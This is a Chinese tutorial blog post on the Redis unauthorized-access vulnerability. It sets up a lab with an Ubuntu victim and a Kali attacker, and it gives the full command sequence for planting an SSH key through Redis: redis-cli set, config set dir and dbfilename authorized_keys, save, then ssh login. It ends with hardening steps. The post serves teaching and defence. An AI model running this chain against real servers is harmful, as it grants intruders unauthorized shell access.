Redis未授权访问漏洞的利用及防护

什么是Redis未授权访问漏洞?

Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。

简单来讲,我们可以将漏洞的产生归结为两点:

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则、避免其他非信任来源IP访问等相关安全策略,直接暴露在公网上
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务


    image

漏洞可能产生的危害:

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall来清空所有数据
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
  • 如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器

既然我们已经知道了攻击手法,那么我们该如何实现这一漏洞的利用呢?

Redis未授权访问漏洞的利用

环境准备

两台主机(这里我选择的是两台虚拟机,一台用的是Ubuntu,一台用的是Kali Linux)

一、 安装redis服务

1.从官网下载redis源码的压缩包

wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
image

2.下载完成后,解压压缩包

tar xzf redis-3.2.11.tar.gz

3.然后进入解压后的目录:cd redis-3.2.11,输入make并执行

image

出现如下即编译成功:
image

  1. make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

    image

    你可能会碰到如下问题:

    python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/
    cp: 无法创建普通文件'/usr/bin/redis-server': 文本文件忙
    这个时候你先去检查/usr/bin目录下是否已经存在redis-server,如果不存在的话,我们选择停止服务:

    python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown

或者直接杀死进程就好了:

python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID
image

我们再启动服务就好了~

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server

image

此时我们再检查下/usr/bin目录下是否有redis-cli和redis-server:

python@ubuntu:~$ ls /usr/bin | grep redis;
image
  1. 返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下

    python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/


    image
  2. 编辑etc中的redis配置文件redis.conf

    python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
    去掉ip绑定,允许除本地外的主机远程登录redis服务:


    image

    关闭保护模式,允许远程连接redis服务:


    image
  3. 使用/etc/目录下的redis.conf文件中的配置启动redis服务

    root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf


    image

    这里我又踩了一个大坑,我遇到了这样一个问题:

    python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf

    *** FATAL CONFIG FILE ERROR ***
    Reading the configuration file, at line 80

    'protected-mode no'
    Bad directive or wrong number of arguments


    image

    这个问题困扰了我很久,后面惊奇的发现,是因为redis.conf和当前版本的redis不匹配造成的问题,当前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,后面才知道是因为我Ubuntu里面已经装过Redis造成的,解决方法如下:

卸载老版本redis-server:

sudo apt-get remove redis-server

由于之前已经下载了redis-3.2.11的版本,所以我们直接make就好了,照着上面的步骤重新来一遍就OK了。


image

我们可以看到,版本对应上去了,都是3.2.11,也能够完成reids.conf文件中的配置启动redis服务。

二、安装ssh服务

由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动,需使用systemctl start sshd命令启动ssh服务。

那么我们该怎么确定有没有安装ssh服务呢?你尝试一下service sshd start命令:

fauked to start sshd.service: Unit sshd.service not found

如果出现上述结果时,说明你的虚拟机没有安装ssh服务,此时你需要运行以下命令安装ssh服务:

sudo apt-get install openssh-server

再次运行以下命令确认ssh服务是否开启:

ps -e  | ssh

最后显示:3228 ? 00:00:00 sshd说明ssh服务器已启用
我们让这两台虚拟主机配置相同的Redis环境,一台作为受害者的靶机,一台作为攻击者的主机。

至此,我们已经成功搭建完成了漏洞利用的环境,此时的redis服务是可以以root用户身份远程免密码登录的。

三、复现漏洞利用场景

1.我们先通过ifconfig测试一下两台主机的IP地址

image

我们可以看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,所以我们不需要修改任何东西,但如果IP地址相同,我们修改其中一台虚拟机的IP:

ifconfig 网卡名称(比如ens33) 我们要修改成的IP地址(比如192.168.152.135) up

我们必须保证两台主机能够相互ping通


image
  1. 我们假设,Ubuntu为虚拟机A,Kali Linux为虚拟机B。虚拟机A(192.168.152.133)为受害者的主机,虚拟机B(192.168.152.131)为攻击者的主机

  2. 在A中开启redis服务:redis-server /etc/redis.conf

  3. 新开一个终端,在主机A中执行mkdir /root/.ssh命令,创建ssh公钥存放目录(A是作为ssh服务器使用的)

  4. 在B中生成ssh公钥和私钥,密码设置为空


    image
  5. 进入.ssh目录:cd .ssh/,将生成的公钥保存到kitty.txt

    root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt
    8.将kitty.txt写入redis(使用redis-cli -h IP命令连接主机A,将文件写入)

    root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crack
    OK


    image
  6. 远程登录主机A的redis服务:redis-cli -h 192.168.0.146并使用config get dir命令得到redis备份的路径

    root@kali:~/.ssh# redis-cli -h 192.168.152.133
    192.168.152.133:6379> config get dir

    1. "dir"
    2. "/home/python/.ssh"


      image
  7. 更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh,这里我没有登录root用户,我登录的用户名是python,所以Ubuntu的默认路径是/home/python/.ssh,所以不需要更改)

10.设置上传公钥的备份文件名字为authorized_keys

192.168.152.133:6379> config set dbfilename authorized_keys
OK

11.检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此,我们成功地写入ssh公钥到靶机上

192.168.152.133:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
192.168.152.133:6379> save
OK
192.168.152.133:6379> exit

12.开启主机A和主机B的ssh服务(Fedor默认ssh服务关闭),命令为systemctl start sshd.service

image

13.在主机B使用ssh免密登录主机A

root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133
image

很明显,我们已经登录成功了!至此,我们成功地利用redis未授权访问漏洞实现了ssh免密登录到目标服务器上。

Redis未授权访问漏洞的防护

禁止远程使用一些高危命令

我们可以通过修改redis.conf文件来禁用远程修改DB文件地址

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

低权限运行Redis服务

为Redis服务创建单独的userhome目录,并且配置禁止登陆

groupadd -r redis && useradd -r -g redis redis

为Redis添加密码验证

我们可以通过修改redis.conf文件来为Redis添加密码验证

requirepass mypassword

禁止外网访问 Redis

我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用

bind 127.0.0.1

保证authorized_keys文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限

chmod 400 ~/.ssh/authorized_keys

为保证authorized_keys的权限不会被改掉,您还需要设置该文件的immutable位权限

chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh目录和authorized_keys文件。要避免这种情况,需要设置~./ssh的immutable位权限

chattr +i ~/.ssh

如果需要添加新的公钥,需要移除authorized_keys的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上immutable位权限

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,298评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,701评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,078评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,687评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,018评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,410评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,729评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,412评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,124评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,379评论 2 242
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,903评论 1 257
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,268评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,894评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,014评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,770评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,435评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,312评论 2 260

推荐阅读更多精彩内容